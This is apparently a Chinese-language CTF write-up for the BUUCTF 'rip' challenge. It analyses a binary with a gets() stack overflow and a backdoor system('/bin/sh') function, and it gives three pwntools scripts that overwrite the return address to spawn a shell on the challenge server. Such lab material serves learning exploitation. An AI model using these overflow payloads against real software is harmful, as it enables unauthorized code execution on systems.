解题思路:
泄露或修改内存数据:
- 堆地址:无需
- 栈地址:无需
- libc地址:无需
- BSS段地址:无需
劫持程序执行流程:[[ret2libc(栈溢出调用任意函数)]]
获得shell或flag:[[劫持返回地址]]
学到的知识:
[[堆栈平衡]]
题目信息:
┌──(kali㉿kali)-[~/Desktop]
└─$ file pwn1
pwn1: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=1c72ddcad651c7f35bb655e0ddda5ecbf8d31999, not stripped
┌──(kali㉿kali)-[~/Desktop]
└─$ checksec --file=pwn1
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX disabled No PIE No RPATH No RUNPATH 64) Symbols No 0 1pwn1
libc版本:
wp借鉴:buuctf rip 详细wp - refrain-again - 博客园 (cnblogs.com)
(23条消息) buu rip_沫忆末忆的博客-CSDN博客_buu rip
你终于回来了(。・∀・)ノ (cnblogs.com)
核心伪代码分析:
存在利用的的代码:
int fun()
{
return system("/bin/sh");
}
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[15]; // [rsp+1h] [rbp-Fh] BYREF
puts("please input");
gets(s, argv);//get是一个输入函数
puts(s);
puts("ok,bye!!!");
return 0;
}
分析:
有后门函数,利用栈溢出(思路没问题,但是远程的环境有问题)
里面有详细解释,涉及到[[堆栈平衡]]
.text:0000000000401186 fun proc nears
-000000000000000F s db ?
......
+0000000000000000 s db 8 dup(?)
+0000000000000008 r db 8 dup(?)
注意:
因为此题出的比较草率,没有考虑关闭缓冲区,please input加入缓冲区之后并没有满,因此继续留在缓冲区即程序并没有输出出来,所以根本就收不到这字符串,自然就会超时。菜鸡的我被这个问题困了好久,然后就放弃了打远程,感谢博主让我回头看了看这个题并明白了
脚本:
脚本:
一共得到了三种脚本:
来源:(23条消息) buu rip_沫忆末忆的博客-CSDN博客_buu rip
exp1
from pwn import *
p = remote('node3.buuoj.cn',28109)
payload = b'a'*23+p64(0x401185)+p64(0x401186)
p.sendline(payload)
p.interactive()
exp2
from pwn import *
p = remote('node3.buuoj.cn',28109)
payload = b'a'*15+p64(0x401186)
p.sendline(payload)
p.interactive()
来源:你终于回来了(。・∀・)ノ (cnblogs.com)
exp3
from pwn import *
p = remote("node4.buuoj.cn",27296)
payload=b'A'*15+b'B'*8+p64(0x401186+1)
p.sendline(payload)
p.interactive()